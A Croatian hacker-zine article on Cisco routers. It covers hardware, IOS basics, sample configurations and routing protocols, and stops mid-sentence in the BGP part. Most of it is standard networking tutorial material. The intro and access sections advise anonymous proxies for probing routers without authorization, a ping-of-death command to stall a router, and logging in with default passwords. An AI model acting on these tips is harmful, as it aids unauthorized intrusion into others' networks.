Copy Link
Add to Bookmark
Report
4x11 Cisco Routers Exposed
...................
...::: phearless zine #4 :::...
......................>---[ Cisco Routers Exposed ]---<.....................
............................>---[ by h44rP ]---<............................
h44rp.net[at]gmail[dot]com
>=------------------------------------
[0x00] Intro
[0x01] Basic reveal
[0x02] Vty/Con access lookup
[0x03] Routing (DV and LS)
<0x03a> RIPv1, RIPv2
<0x03b> IGRP, EIGRP
<0x03c> OSPF
<0x03d> BGP
[0x04] ACL framework
<0x04a> Standard vs. Extended
<0x04b> Named ACL's
[0x05] IOS security; 'go with the flow'
[0x06] Outro
>=------------------------------------
NAPOMENA: svrha slijedeceg teksta nema nikakve ilegalne predznake te je
napisan iskljucivo da vas, eventualno, educira o necemu sto do
sada niste imali prilike nauciti!!!
>=--------------------------------------------------------------------------
///////////////////////////////////////////////////////////////////////////
--==<[ 0x00 Intro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Iako je dost tesko teorijom podrobnije objasniti neke principe mreznih
uredjaja odlucio sam obraditi dosta opsirnu temu routera s tim da je glavna
ideja bila obraditi uglavnom CISCO uredaje; dosta infomacija ce nadam se
posluziti i ljudima koji koriste druge tipove routera Mikrotik, Smoothwall
software routere itd. Pokusao sam ukljuciti sto vise segmenata u sam
tutorial iskljucujuci detaljno pojasnjavanje subnetiranja, OSI-ja, i samih
mreza i mreznih protokola vecim dijelom zbog toga sto je o tome bilo rijeci
u prijasnjim textovima. Dakle, za potpuno razumijevanje ipak je pozeljno
da posjedujete odredena znanja o protokolima TCP, UDP, ICMP..., IP-u,
subnetiranju, C-u, ASM-u, unixu...
kroz tutorial vecina stvari je testirana na
CISCO 2500, 2600 routerima, a posto nazalost nema svatko pristup takvoj
opremi, sugeriram da ako zelite skinete za konfanje Boson Router Simulator
(http://www.boson.com) koji je po mojem iskustvu jedan od boljih trenutno
dostupnih simulatora. Takoder sam planirao dodati jedan veliki dio o
Switchevima no na zalost nisam stigao zbog stiske s vremenom ali cu nadam
se imati prilike o tome pisati u nekom drugom tekstu.
U prvom dijelu ce biti nesto rijeci i o hardveru rutera iako nisam
namjeravao ni najmanje pisati o samim osnovama no pretpostavio sam da bi
bilo zgodno staviti sve na jedan kup, dok u narednim poglavljima
tutoriala ce biti sve vise rijeci o samom IOS-u i njegovim mogucnostima.
U ovom tutorialu nisam ni spominjao kao niti opisivao metode sniffanja,
ip spoofinga, cache (DNS) poisoning-a ili hijackinga... ... principe
presretanja traffica od i prema ruteru, otimanja running sessiona itd.
itd. jer je to opsiran materijal, koji vec je, a i bit ce jos iskoristen
za druge textove vec je paznja obracena uglavnom na propuste samog IOS-a.
NAPOMENA: prilikom remote konektiranja na terminal, brute-forcea i bilo
kakvog testiranja na routerima na koje nemate legitiman pristup
koristite neke od provjerenih, anonimnih proxy servera...
///////////////////////////////////////////////////////////////////////////
--==<[ 0x01 Basic reveal
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Kao sto svi vi znate routeri su zapravo posebna vrst kompjutora koji
imaju sve komponente kao i vas standarni desktop PC; CPU, memoriju, system
bus, i odredene input/output interfejse. Dizajnirani su kako bi obavljali
veoma specificne funkcije koje obican PC inace ne obavlja. Dakle, njihova
osnovna svrha je da spajaju i omogucuju komunikaciju izmedju dvije mreze
i odreduju najbolju stazu (path) kojom ce se kretati podaci izmedu tih
mreza.
Kako vase racunalo ima operativni sustav (SunOS, *BSD, Linux...)
koji za vas pokrece odredene programe, aplikacije tako i Router ima svoj
Internetwork Operating System (IOS) koji za njega pokrece konfiguracijske
fajle. Ti konfiguracijski fajlovi sadrze instrukcije i parametre koji
kontroliraju protok saobracaja (paketa) prema i od routera. Dakle preko
tih konfiguracijskih fajlova kontroliramo podrzane routing protokole.
Router se u osnovi sastoji od slijedecih djelova:
|-----|
| | (dynamic random access memory)
|DRAM |------routing tabele, ARP cache, fast-switching cache, packet
| | buffering (shared RAM), running config je na njemu dok router
|-----| radi, kontrolira packet-hold queue, a naravno gubi sadrzaj
kad se router iskljuci.
|-----|
| | (nonvolatile random-access memory)
|NVRAM|------tu se nalazi startup konfiguracijski file jer podaci ostaju
| | i nakon shutdown-a samog router-a.
|-----|
|-----|
| | (Read-only memory)
| ROM |------ukljucuje instrukcije za genericku POST dijagnozu, bootstrap
| | program kao i software za IOS.
|-----|
|-----|
| |
|FLASH|------ovdje je image IOS-a, u biti je klasican EEPROM i moze isto
| | tako sadrzavati vise IOS image-a.fs
|-----|
Nakon POST-a opcije u konfiguracijskom registru omogucavaju slijedece
akcije:
* Komande globalnog konfiguracijskog moda mogu se specificirati da bi se
promijenili sourcevi koje koristi router kod boot-up-a.
* Ako NVRAM ne sadrzava boot system komande koje router moze koristiti
automatski se sekvenca prebacuje na IOS software koji je u FLASH-u.
* Ako je i FLASH memorija prazna tada ce router pokusati doci do image
fajla preko TFTP-a.
Redosljed kojim router trazi bootstrap informacije ovisi o boot polju
u konfiguracijskom registru! Defaultni konfiguracijski registar moze se
promijeniti koristeci globalni konfiguracijski mod "config-register".
Argumenti koji se ukljucuju u komandu su hexadecimalne vrijednosti.
Konfiguracijski registar je 16.bitni registar smjesten u NVRAM-u...
vrijednost tog registra moze se iscitati iz outputa komande
"show version". navest cu osnovne vrijednosti registra za boot opcije:
-------------------------------------------------------------------------
VRIJEDNOST: | OPIS:
-------------------------------------------------------------------------
0x???0 | Koristi ROM monitor mod (boot koristeci "b" komandu"
-------------------------------------------------------------------------
0x???1 | Automatski boot-a sa ROM-a (ako nema Flash-a)
-------------------------------------------------------------------------
0x???2-0x???F | Pregleda NVRAM trazeci boot komande *2 je + FLASH
-------------------------------------------------------------------------
Image IOS, odnosno njegov naziv ovisi o samoj verziji IOS-a ali takodjer
postoji univerzalna konvencija za nazivanje image-a.. slijedi primjer:
c2600-js-l_121-3.bin
| | | |
| | | |-----> broj verzije (u ovom slucaju 12.13)
| | |
| | |---------> format fajla (relocatable; not compressed)
| |
| |-----------> mogucnosti postavki (enterprise sa extended cmp.)
|
|----------------> hardverska platforma... Cisco 2600
Routeri se koriste za segmentiranje LAN-ova no njihova je osnovna uporaba
kao WAN uredaj. Sadrze LAN i WAN interfejse... Naravno da bi mogli svoju
internu LAN mrezu spojiti na neki WAN. Koliko sam vidio dosad najveci broj
deafult CISCO routera dolazi s jednim ugradenim WAN modulom koji sadrzi
dva serial interface (Smart serial).. u vecini slucajeva 0/0 i 0/1.
Dakle najbitnije je da bude jasno da vi vasu mrezu spajate na FE*/* a na
SmartSerial spajate drugi router (DCE/DTE). Pod vasu mrezu mislim na hub,
bridge ili switch itd. Hardverske karakteristike, scheme i ostale podatke
nema smisla da ovdje izdvajam.. Jednostavno koga zanima neka posjeti
sluzbene stranice...
CONSOLE port sluzi za lokalni pristup routeru... na njega se spajamo
rollover kabelom (RS232/eth) i dobivamo pristup konzoli tj. terminalu
IOS-a, FastEthernet portovi.. straight-trough CAT5,5e UTP/STP iz switch-a,
huba ili cross direktno iz nase mashine. AUX port za dial-up pristup...
Na SmartSerial WAN portove spajamo drugi router... DCE uredaj daje clock
DTE uredaju odnosno on je service provider DTE-u pa tako mora biti i
konfiguriran. DTE (Data Termnial Equipment), DCE (Data circuit-terminating
equipment). dakle na primjer: CSU/DSU modem dial-in je routan sa centrale
na modemski ulaz, router koji na drugom interfejsu ima odredeni WAN
(kad se spajate recimo modemom na modemski ulaz ISP-a za pristup internetu)
///////////////////////////////////////////////////////////////////////////
--==<[ 0x02 Vty/Con access lookup
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Dakle.. Pristup na router moguce je ostvariti preko mreze, znaci tako
da se jednostavno spojite na telnet ili ssh posluzitelj pokrenut na routeru
npr. pogledajte adresu gateway-a na vasem LAN-u koji je u vecini slucajeva
router (ne npr. Kerio winroute i sl. shit), posebno ako pristupate sa LAN-a
nekog sveucilista itd. te ce vjerojatno biti omogucen remote access kako bi
nadlezne osobe vrsile maintain samog uredaja.neki od deafultnih loginova su
cisco, admin itd. no o tome nesto kasnije. iz samog daemon banner-a ssh
posluzitelja moguce je u vecini slucajeva vidjeti o kojem je uredaju rijec.
ostvarivanje pristupa na cisco IOS terminal je kljucna zadaca kod hakiranja
takvih uredaja jer DOS,DDOS... raznorazna floodanja su u biti kiddie stuff
ukoliko nam cilj nije uci u privilegirani cisco IOS mode. npr. takav jedan
stupid example je ping -l 56550 router_cisco -t
.. (a upravo slicne stvari su vam uvelike omogucene sa njega nakon sto
dobijete pristup jednom malisanu sa npr. 18 T1 linkova...)
dakle stari glupi ping of death... pretpostavljam da je svima jasno kako
takve stvari rade... dakle preveliki paket ce na odredjeno vrijeme "mozda"
onesposobiti router sto nam daje priliku za ulaz s defaultnim passwordima
prije nego li se isti reboota....
Zasto se truditi???
pa jedan od razloga je upravo bio naveden, a najkorisnije je to sto kroz
router prolazi jako puno mreznog saobracaja kojeg je moguce uloviti, a
da ne spominjem trusted relacije koje posjeduju takvi uredaji s drugim
masinama sa mreze itd.
Prvo trebate pronaci cisco router na mrezi... najjednostavniji nacin je
koristeci "traceroute" iliti "tracert" iz DOS-a. gotovo svaki trace ce
vam dati listu odredenih router-a.. upotreba traceroute alata je izuzetno
jednostavna tako da je ne treba detaljnije pojasnjavati a i vjerujem da
jako dobro znate kako funkcioniraju takve ICMP komunikacije npr. ping..
kada dest provjerava dest addr.. kreira novi paket sa src->dest i vraca
posiljatelju.. itd itd. za detalje preporucam rfc-ove spomenutih servisa.
traceroute bi vam trebao dati barem jedan router u output-u koji u svom
nazivu sadrzi "cisco". ako uocite * * * vjerovatno je firewalled host no
o tome nesto kasnije...
Routeri se na mrezi vrlo lako mogu konfati tako da izgledaju kao obicni
sistemi sa ssh, http i ostalim serverima pokrenutim te ih je ponekad
vrlo lako pomijesati sa nekim Unixoidom.
primjer scan output-a:
-----------------------
Interesting ports on ***Router:
(The 168 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
23/tcp open telnet
79/tcp open finger
2001/tcp open dc
4001/tcp open unknown
6001/tcp open X11:1
9001/tcp open unknown
Remote operating system guess: Cisco Router/Switch with IOS 11.2
-----------------------
standarno povezivanje na telnet server (23) bi trebalo dati output
slican ovom:
-----------------------
[root@madness]# telnet IP_router
Trying IP_router...
Connected to ***Router.
Escape character is '^]'.
User Access Verification
Password:
-----------------------
*Cisco IOS za end point-e konekcija kod mrezne komunikacije koristi
stvari slicne socketima no u biti nisu BSD socket-i koje mi poznajemo.
Kod cisco IOS-a ove stvari rade asinhrono a nazivaju je TCB-ovi. TCB
rutina bi trebala izgledati nekako ovako:
*tcp_create_connect1(int zero, short remotePort,sockaddr *remoteAddr,
short localPort, sockaddr *localAddr, int *error, int zero);
Uz remote access o kojem sam maloprije govorio najcesci nacin pristupa
je direktno sa svoje masine na "Console" port na samom router-u na koji
se spajamo rollover kabelom. znaci sa npr. windoze stroja jednostavno
hyperterminalom na kojem vecinu postavki ostavimo kako jesu odnosno:
bits per second: 9600
data bits: 8
parity: none
stop bits: 1
Flow control: hardware
Nakon spajanja na odredeni COM port dobivate pristup user modu na samom
routeru.
U ovom dijelu necu govoriti o sigunosnim propustima, exploitanju itd.
vec ce o tome biti rijeci u [0x05] sekciji a do kraja "Access" dijela
cu jos samo u kratko navesti neke osnovne upute za koristenje samog
IOS-a kako biste se mogli snaci nakon dobivanja pristupa terminalu..
Na cisco terminalu prisutna su dva moda: user mode i privilegirani mod.
to vam je slicno user i root accountu na nekom unix stroju...
iz user moda se prebacuje sa komandom "enable" u privilegirani mod
a obratno sa "disable".. user mod je oznacen sa ">" a privilegirani
klasicnim poundom "#"..
za snalazenje po koncepciji sistema koristite "?" koji ce vam dati
ispis next expected commande ili parametra...
osnovnu konfiguraciju vrsite u config modu, u koji ulazite naredbom
"configure terminal" a trenutne postavke
mozete pogledati sa "sh ru" tj. show running-config komandom..
napomena: nakon svake izmjene konfiguracije koristite "copy running-
config startup-config" cime kopirate izmjenjenu konfiguraciju na
NVRAM samog uredaja.
sam koncept sucelja se razlikuje od verzije do verzije IOS-a pa
nema smisla pisati neki univerzalni command reference u ovoj situaci-
ji,a za prebacivanja konf fajlova u startup ili running-config koristi
te tftp servis. evo i jedan primjer ispisa "# sh ru" komande prije
nego je iti jedan interface konfiguriran...
-------------------------------
Router#sh ru
Building configuration...
!
Version 12.1
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Router
!
!
!
!
ip subnet-zero
!
!
!
!
!
!
interface Serial0
no ip address
no ip directed-broadcast
shutdown
!
interface Serial1
no ip address
no ip directed-broadcast
shutdown
!
interface Ethernet0
no ip address
no ip directed-broadcast
shutdown
!
interface Ethernet1
no ip address
no ip directed-broadcast
shutdown
!
interface Bri0
no ip address
no ip directed-broadcast
shutdown
!
!
ip classless
no ip http server
!
!
line con 0
transport input none
line aux 0
line vty 0 4
!
no scheduler allocate
end
-------------------------
dakle, vrlo je jednostavno zakljuciti sam iz ovog outputa sto nam je
u biti vratila upisana komanda.. da li iti jedan iface ima skonfanu
IP adresu i koju, dali je up ili down, dali je na terminalu podesen pass
... btw. pass se set-a preko naredbe "#enable password" za nekriptiranu
tj. ispise vam se pass koji ste dodijelili odredenoj vrsti pristupa sa
"sh ru" ili "#enable secret" za kriptirani pass.. a o samim lozinkama za
vty i enable ce biti rijeci nesto kasnije... show komandom mozete pregle-
dati gotovo sve bitnije stvari na samom routeru: od ARP cache ispisa,
frame-relaya, user info-a... itd. itd. sve parametre pogledajte sa "#sh ?"
evo sada jedan primjer potpuno skonfanog routera koji sam konfigurirao
zajedno s jos jednim routerom i 2 cisco switch-a...
-------------------------
!
version 12.3
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Rhapsody
!
boot-start-marker
boot-end-marker
!
enable secret 5 $1$oOty$JKyPcKbRoiADgymZJLxua1
!
mmi polling-interval 60
no mmi auto-configure
no mmi pvc
mmi snmp-timeout 180
no aaa new-model
ip subnet-zero
ip cef
!
!
!
no ftp-server write-enable
!
!
!
!
interface Loopback0
ip address 10.10.10.1 255.255.255.255
!
interface FastEthernet0/0
ip address 192.168.1.1 255.255.255.0
speed auto
!
interface Serial0/0
bandwidth 64
ip address 172.16.100.2 255.255.255.252
ip ospf message-digest-key 50 md5 lollol
no fair-queue
clockrate 56000
!
interface Serial0/1
no ip address
shutdown
!
router ospf 50
log-adjacency-changes
area 0 authentication message-digest
network 172.16.100.0 0.0.0.3 area 0
default-information originate always
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.100.254
no ip http server
!
!
line con 0
exec-timeout 0 0
password cisco
login
line aux 0
line vty 0 4
password cisco
login
!
end
----------------------
dakle sada vidite kako tocno izgleda output jednog konfiguracijskog
fajla sa cisco router-a.. kao sto vidite jako puno korisnih informacija
se moze dobiti iz samog output-a.. od vty i con passworda na kraju
fajle ... do potpunog info-a o interface-ima.. ACL-ovi ovdje nisu
ispisani da vas ne zbune .. vec ce o njima biti rijeci u 0x04 sekciji.
ovdje bi bilo dobro i spomenuti CDP (Cisco Discovery Protocol)
CDP je Layer 2 protokol koji povezuje nize fizicke medije
(Frame rely, ATM, LANS) i vise konekcijske layere (IPX, Appletalk).
CDP protokol je protokol kojim se prikupljaju informacije o susjednim
uredajima na mrezi (tip uredaja, interface na kojem je naden, model itd.)
CDP funkcionira na svim CISCO uredjajima preko SNAP (SubNetwork Access
Protocol) protokola. zadnji je CDPv2 a podrzavaju ga 12.0(3)T ili kasnija
izdanja.
Kad se cisco router boot-a CDP se starta automatski i detektira susjedne
uredaje koji takoder vrte CDP. vrti se na data link layeru i omogucava
dvama sustavima da saznaju odredene infomacije jedan o drugome.
Svaki uredjaj s konfiguriranim CDP-om salje periodicke message na vise
routera. svaki uredaj omogucava barem jednu adresu na koju prima
SNMP poruke.zadrzavanje cdp paketa ovisi o TTL kojeg sadrzi paket a nakon
toga biva odbacen od strane pronadjenog device-a.
sintaksa na routeru nije komplicirana pa tako uvid u cdp status dobivamo:
Router#show cdp neighbors
infomacije se dobivaju koristeci TLV (Type Lenght Values) sto su pak
blokovi infomacija intergrirani u CDP advertismente... a svaki TLV
sadrzi sljedece:
ID Uredaja
Loklni Interface
Holdtime
Capability
Platformu
ID Porta
VTP Management Domain Name (samo kod CDPv2)
Native VLAN (samo kod CDPv2)
Full/Half-Duplex (samo kod CDPv2)
Upravljanje CDP-om na routeru se vrsi "cdp" komandom a sintaksa je
kao sto sam vec rekao sama po sebi poprilicno jasna dakle:
Router#cdp run
ili
Router#cdp enable
///////////////////////////////////////////////////////////////////////////
--==<[ 0x03 Routing (DV and LS)
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Routanje nije nista drugo do usmjeravanje mreznog saobracaja sa jedne
mreze na drugu! Dva osnovna tipa routinga su dinamicko i staticko rutanje..
Kao sto same rijeci kazu dinamicko je rutanje ono koje se obavlja cisto
protokolarno uspostavnom komunikacije izmedu dva ili vise uredaja dok je
staticko rutanje ono kod kojeg administrator unosi staticke rute u samu
konfiguraciju router-a i po tim pravilima se onda paketi usmjeravaju na
odredene interfejse.
Naravno i jedan i drugi tip routinga imaju svoje prednosti i mane no
cinjenica je da je dinamicko rutanje mnogo zahvalnije od statickog i zbog
same spoznaje da router sam spoznaje promjene topologije i obavlja samo-
stalno rutanje bez potrebe da aministrator unosi posebno rute za svaki
interface. Nakon unosa staticke rute kreiraju se routing tabele koje se
pregledavaju kao pravila prilikom manipuliranja paketima!
Primjer unosa staticke rute:
Router(config)#ip route 192.198.1.0 255.255.255.0 s0
| | |
| | |
Destinacijska mreza--| | |
| |--izlazni interface
Subnet maska-----------|
U biti u praksi se najcesce koriste staticke rute u svrhu backup-a,
odnosno kad dinamicko rutanje iz nekog razloga nije moguce izvsiti!!!
Dinamicko rutanje koristi routing protokole preko kojih router doznaje
sve pristupacne rute i one najbolje upisuje u routing tabelu i onda koristi
te informacije iz tabele za rutanje paketa rutanih protokola (FTP,SMTP...)
Algoritam rutanja je osnova dinamickog rutanja. dakle kadgod se promijeni
nesto u mreznoj topologiji zbog prekonfiguracije, prosirenja itd. baza
informacija o mrezi se update-a i ima spoznaju o svim dogadanjima na mrezi.
AS odnosno autonomous systems jesu uredaju koji suraduju blisko i kreiraju
manje i kompaktnije segmente od vecih "internetwork" globalnih mreza.
Algoritmi rutanja se dijele na: = Distance vector
= Link-state
Njihova osnovna razlika je u tome sto distance vector algoritam routinga
utvrduje vektor odnosno smjer i udaljenost do bilo kojeg noda na globalnoj
mrezi dok link-state princip poznat i pod nazivom SPF - shortest path first
samostalno ponovno kreira kompletnu topologiju mreze.
Distance vector (Bellman-Ford algorithm) princip razmjenjuje routing tabele
izmedju routera koji se medusobno obavjestavaju o svim promjenama na mrezi.
svaki susjedni ruter dobiva routing tabelu onog susjednog koji koristi isti
routing protocol.
Link-state (Dijkstras algoritam) routing znano kao SPF rutanje odrzava
kompleksnu bazu s infomacijama o mreznoj topologiji! Link-state nacin
koristi LSA (Link-state advertisment) - maleni paket s routing info-ima,
topolosku bazu podataka koja sadrzi informacije dobivene od LSA-a, SPF
algoritam za izracunavanje "najbolje" putanje za isporuku paketa...
Link-state ima nekoliko mana u odnosu na distance vector rutanje a to su:
* izuzetno mu je bitna brzina procesora te ga poprilicno opterecuje
* zahtjeva takoder jako puno fizicke memorije na samom routeru
* koristi dosta vise bandwidth-a od distance vector routing-a
Bitniji routing protokoli su:
----------------------------------------------------------------------
RIP (Routing Information Protocol) = distance vector
----------------------------------------------------------------------
IGRP (Interior Gateway Routing Protocol) = distance vector
----------------------------------------------------------------------
EIGRP (Enhaced Interior Gateway Routing Protocol) = distance vector
----------------------------------------------------------------------
OSPF (Open Shortest Path First) = link-state interior routing protocol
----------------------------------------------------------------------
BGP (Border Gateway Protocol) = distance vector
----------------------------------------------------------------------
======-[ <0x03a> RIPv1, RIPv2
RIP (Routing Information Protocol) - vise infomacija RFC 1058, v2 2453.
RIP je klasican distance vector routing protokol. Routing information
protokol koji koristi "hop count" kao sredstvo za odredivanja putanje.
Bitno je to da ako je hop count > 15 paket nece biti proslijeden!!
Updejtanje ruta se vrsi broadcasting-om svakih trideset sekundi!
RIP protokol se jako cesto koristi na CISCO routerima a sintaksa za
podesavanja istog je izuzetno jednostavna:
Router(config)#router rip
Router(config-router)#network 10.21.22.0
Router(config-router)#network 10.21.24.0
i za odredjene mreze (*.*.22/24.0) je podignut RIP protokol...
RIP se je tijekom godina razvijao i trenutno postoji i u verziji 2 koja
je donijela nekoliko poboljasanja u odnosu na prethodnu inacicu istog.
* mogucnost prenosa dodatnih routing informacija
* autentifikacijski mehanizam za zastitu updejtanja routing tabela
* podrsku za Variable Lenght Subnet Masking (VLSM)
Router koji vrti RIP moze se konfigurirati da salje "triggered" update
kad se topologija promijeni koristeci "ip rip triggered" komandu!
Vecina konfiguracijskih gresaka kod RIP-a, krivo konfanje mreza, subnet-a
ili pak split horizon. Izuzetno korisna komanda je "debug ip rip".
ona ispisuje RIP routing updejtove kako su oni primljeni i poslati...
Evo jos nekoliko komandi koje ce vam olaksato troubleshooting RIP-a:
* show ip rip database
* show ip protocols {summary}
* show ip route
* debug ip rip {events}
* show ip interface brief
======-[ <0x03b> IGRP, EIGRP
IGRP jest distance vector Interior Gateway Protocol (IGP). Poznato je
otprije da distance vector protokoli matematicki usporeduju rute mjereci
udaljenosti. routeri koji koriste ovaj proncip rutinga moraju slati svoje
ruting tabele u ruting updejt porukama u regularnim intervalima svakom
susjednom ruteru.tako routeri medusobno doznaju nove rute i failure...
IGRP salje svoje update-ove svakih 90 sekundi .. igrp ima nekoliko predno-
sti: flexibilan je i moze raditi solidno na vrlo malom bandwidthu za
razliku od nekih drugih protokola a isto tako vrlo se dobro snalazi
samostalno i kada se koristi na iznimno topoloski velikim mrezama..
IGRP koristi bandwidth i delay kao mjeru za utvrdivanje putanje paketima.
premda moze se po potrebi konfigurirati da koristi ono sto mi zelimo npr.
* Bandwidth
* Delay
* Load
* Reliability
Konfiguracija IGRP-a je tagoder prilicno jednostavna:
Router(config)#router igrp 101
Router(config-router)#network 10.21.22.0
bitno je napomenuti da kod IGRP/EIGRP-a morate dodijeliti i AS svakom
konfiguriranom interfejsu tj. mrezi koji identificira IGRP proces na mrezi.
u ovom slucaju tj. primjeru gore to je broj 101.
Greske kod IGRP-a najcesce su zbog krivog inputa AS-a ili subneta.
komande za troubleshooting IGRP-a su: "debug ip igrp"
* show ip protocols
* show ip route
* debug ip igrp events
* debug ip igrp transactions
* ping
* traceroute
1994 CISCO izbacuje napredniju verziju IGRP protokola nazvanu EIGRP sto
stoji za Enhaced Interior Gateway Protocol koji takoder koristi isti
princip proracuna kao i IGRP:
-----------------------------------------------------------------------
metric=[K1*bandwidth+(K2*bandwidth)/(256-load)+(K3*delay)]*[K5/(r.+K4)]
-----------------------------------------------------------------------
s ovim konstantama: K1 = 1, K2 = 0, K3 = 1, K4 = 0, K5 = 0.
metric = bandwidth + delay
-----------------------------------------------------------------------
no osnovne su razlike u kompatibilnosti, metric-u i route taggingu.
Jos jedna sitnica.. IGRP ima max hop count 255 dok EIGRP ima 224..
sto je jos bolje kod upotrebe u vecim "internetwork" mrezama.
EIGRP routeri dinamicki saznaju o novim rutama koje su dodane na mrezu,
lako identificiraju rutere koji nisu dostupni ili neoperativni, i jako
brzo otkrivaju rutere koji su neposredno bili nedostupni tj van funkcije.
Dostavljanje EIGRP paketa garantira RTP odnosno Reliable Transport proto-
kol koji radi na transport layeru OSI-ja.
Postoji pet vrsta paketa koje EIGRP salje:
# Hello
# Acknowledgment
# Update
# Query
# Reply
najzanimljiviji nama su hello paketi koji otkrivaju i verificiraju nove
uredaje na mrezi... a salju se na defaultni multicast - 224.0.0.10..
EIGP se konfigurira isto kao i IGRP protokol na routeru s minimalnim
sintaksnim promjenama prilikom unosa u konfiguracijskom modu...
======-[ <0x03c> OSPF
OSPF stoji za Open Shortest Path First a ujedno je i link-state routing
protokol te uvijek SPF-om izabire logicki najkracu putanju paketa do
njegovog odredista. Poznato je otprije da lik-state routing protokoli
prikupljaju infomacije od svih drugih routera sa mreze ili definiranog
podrucja neke mreze. Jednom kada prikupi sve informacije, neovisno o
drugim routerima izracunava se najbolja staza za sva odredista na mrezi!
Link-state protokoli imaju nekoliko funkcija koje obavljaju kao brzo
reagovanje na promjene na mrezi, slanje triggered updejtova samo onda kada
je doslo do promjene mreznog stanja, slanje periodickih apdejtova poznatih
kao link-state refresh-vi, a isto tako link-state ruting protokoli koriste
"hello" mehanizam za dobivanje informacija o dostupnosti susjednih rutera.
OSPF vs. RIP scheme
da biste bolje razumijeli princip odredjivanja patha evo jedan primjer:
--------------------
----
|\ / |
__T3/E3___| 5 |____
---- / |/ \ | |
|\ / | / ---- |
___T3/E3___| 4 |____/ |
/ |/ \ | |
/ ---- |---> T3/E3
----/ OSPF vs. RIPv1/v2 |
|\ / | |
| 1 | |
|/ \ |\ ---- ---- |
---- \ |\ / | |\ / | |
\_____64k_____| 2 |____64k_______| 3 |____|
|/ \ | |/ \ |
---- ----
--------------------
Sada pretpostavimo da router 1 salje paket koji treba da dode na router
pod rednim brojem "3". OSPF ce izabrati stazu za pakete koja ce prolaziti
1====>4=====>5======3 dok ce RIPv1 ili RIPv2 ruting protokol izabrati
putanju 1=====>2=====>3 koja ima manje hop counta koje on provjerava ali je
zato znatno sporiji tip konekcije izmedu ova tri routera negoli izmedu
prethodnih kroz koje je path izabrao OSPF.
OSPF postaje sve koristeniji IGP protokol u usporedbi RIP-ovima verzija 1 i
2 upravo jer je flexibilniji... RIP protokol je limitiran na 15 hops-eva iz
otprije poznatih razloga a ignorira jako bitne stvari poput bandwidth-a itd.
Naravno OSPF funkcionira poprilicno razlicito od distance-vector rutinga.
naime on nakon prikupljanja informacija o susjednim ruterima "flood-a" te
informacije svim susjednim routerima ... pod flooding-om mislim na to da
salje informacije van na sve portove osim naravno na port s kojeg je info
primljen...
Router primljene informacije o stanju linkova precesira i kreira link-state
bazu koja je ista kod svih routera koji koriste OSPF u istom podrucju!!!
Svaki router vrti SPF algoritam na svojoj vlastitoj kopiji link-state baze.
Kalkulacija odreduje najbolju rutu do destinacije. SPF dodaje "cost". Cost
je vrijednost bazirana na bandwidth-u.najnizi cost-path se unosi u routing
tabelu sto se jos naziva i "database forwarding".
Jos jedna bitna stvar je da OSPF izabire loop-free putanje uz to sto mu je
glavno mjerilo cost koji dobiva iz propusnosti konekcije do odredenog
rutera dok distance vector rutanje moze dovesti do ruting loop-ova...
Algoritam:
Algoritam za OSPF je otkriven 1959 od strane Nizozemskog znanstvenika
Dijkstra po kojem ovaj algoritam i nosi ime. princip je taj da se mreza
smatra skupom nodova konektiranih ppp linkovima medusobno. svaki nod ima
ime i kompletnu bazu podataka svih linkova! stvar funkcionira tako da
se izracunava loop-free topologija koristeci nod kao pocetnu tocku i
analizirajuci povratne infomacije... kazem .. jedina u biti veca mana ovog
link-state routing protokola je sto zahtjeva nesto vise memorije i
procesorskog vremena kako bi mogao obavljati odredene mu zadace..
Na layer-u 3 OSI-ja "hello" paketi su adresirani na "multicast" adresu
224.0.0.5 poznatu kao i "all OSPF routers".. hello-i se salju svakih 10
sekundi, dakle u istim intervalima provjeravajuci prisutnost uredaja...
na multi-access mrezama hello paket bira DR (Designated Router) i BDR
odnosno Backup Designated Router..
header OSPF paketa:
========================================================================
========================================================================
Version | Type | Packet Lenght |
------------------------------------------------------------------------
Router ID |
------------------------------------------------------------------------
Area ID |
------------------------------------------------------------------------
Checksum | Vrst autentikacije |
------------------------------------------------------------------------
|
Podatci autentikacije |
|
------------------------------------------------------------------------
OSPF hello header:
========================================================================
========================================================================
Network Mask |
------------------------------------------------------------------------
Hello intervali | Opcije | Prioritet routera |
------------------------------------------------------------------------
Dead Interval |
------------------------------------------------------------------------
Designated Router |
------------------------------------------------------------------------
Backup designated router | |
------------------------------------------------------------------------
Neighbor Router ID |
------------------------------------------------------------------------
Neighbor Router ID |
------------------------------------------------------------------------
dodatna polja = Neighbor Router ID |
------------------------------------------------------------------------
========================================================================
Konfiguracija OSPF ruting protokola na samom ruteru je poprilicno laka
dakle:
----------------------------
Router#configure terminal
Router(config)#router ospf (process ID)
Router(config-router)#network "adresa" "wildcard-mask" area area-ID
----------------------------
Posto kao sto smo saznali OSPF koristi isljucivo cost kao metric ovdje cu
navesti malenu tabelu s "cost" defaultnim vrijednostima cisco IOS-a..
------------------------------
Medij | Cost |
------------------------------
56kbps | 1785 |
------------------------------
T1 | 64 |
------------------------------
E1 | 48 |
------------------------------
4Mbps TR | 25 |
------------------------------
Ethernet | 10 |
------------------------------
16 Mbps TR | 06 |
------------------------------
100Mbps/FDDI | 01 |
------------------------------
======-[ <0x03d> BGP
Border Gateway Protocol (BGP) jest interautonomni sistemski ruting protokol
a koristi se za razmjenu ruting informacija zmedju ISP-ova. Kada se BGP
protkol koristi izmedju dva ili vishe autonomnih sistema onda ga josh
nazivamo i EBGP odnosno External BGP dok oni unutar jednog AS-a su poznati
poz nazivom IBGP tj. Interior BGP.
BGP koristi jako puno ruting parametara koji se josh nazivaju i atributi,
a njima se definiraju ruting pravila i odrzavaju rutana okruzenja. Dakle
prilikom odabira rute BGP koristi slijedece parametre:
# Weight
# Local preference
# Multi-exit discriminator
# Origin
# AS_path
# Next hop
# Community
BGP moze po potrebi primati vishe obavijesti za iste rute sa vise
